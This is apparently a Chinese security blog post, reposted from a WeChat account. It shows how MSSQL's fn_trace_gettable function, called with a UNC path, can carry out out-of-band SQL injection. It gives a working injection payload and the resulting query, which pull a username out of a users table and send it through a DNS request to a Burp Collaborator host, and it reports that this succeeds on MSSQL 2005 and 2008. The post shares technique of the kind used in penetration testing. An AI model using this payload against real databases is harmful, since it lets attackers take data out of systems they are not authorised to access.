【奇技淫巧】使用fn_trace_gettable函数对MSSQL进行OOB攻击

admin 2020年12月21日09:00:50评论107 views字数 824阅读2分44秒阅读模式

【奇技淫巧】使用fn_trace_gettable函数对MSSQL进行OOB攻击


通常在遇到目标使用MSSQL数据库,需要进行OOB攻击的情况,都是依赖MSSQL的存储过程进行的。而今天在Tweet上看到一位老铁(@ptswarm)发的一个骚操作,使用内置函数fn_trace_gettable进行OOB,觉得很有意思,遂尝试复现并分享。

复现

下面进行简单的复现,直接使用MSSQL2005、2008R2控制台进行操作,没有Web环境。

如查询语句为:

select * from users where id='1'

那么插入Payload:

注意:这里使用UNC的路径,最后必须以xxx.trc文件名做为结尾,否则语句无法正常执行

' and exists(select * from fn_trace_gettable('\'+(select username from users where id = 3)+'.8luqj7zqxxxxxxxxxxxxxxxx6gw4l.burpcollaborator.netfoo.trc', default))--

最终语句变为:

select * from users where id='1' and exists(select * from fn_trace_gettable('\'+(select username from users where id = 3)+'.8luqj7zqxxxxxxxxxxxxxxxx6gw4l.burpcollaborator.netfoo.trc', default))--'

执行效果如下

MSSQL2005

将ID为3的用户名(mssql2005)带入DNS请求


【奇技淫巧】使用fn_trace_gettable函数对MSSQL进行OOB攻击



【奇技淫巧】使用fn_trace_gettable函数对MSSQL进行OOB攻击


MSSQL2008

将ID为3的用户名(mssql2008)带入DNS请求


【奇技淫巧】使用fn_trace_gettable函数对MSSQL进行OOB攻击



【奇技淫巧】使用fn_trace_gettable函数对MSSQL进行OOB攻击


其它

源作者来自Twtter @ptswarm 下图为原推文的截图


【奇技淫巧】使用fn_trace_gettable函数对MSSQL进行OOB攻击


另外根据微软MSDN里的描述,未来版本的MSSQL会移除该函数,不论如何目前的版本下,还是多了一条OOB的路子。


【奇技淫巧】使用fn_trace_gettable函数对MSSQL进行OOB攻击




【奇技淫巧】使用fn_trace_gettable函数对MSSQL进行OOB攻击

本文始发于微信公众号(T00ls):【奇技淫巧】使用fn_trace_gettable函数对MSSQL进行OOB攻击

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年12月21日09:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【奇技淫巧】使用fn_trace_gettable函数对MSSQL进行OOB攻击https://cn-sec.com/archives/163734.html

发表评论

匿名网友 填写信息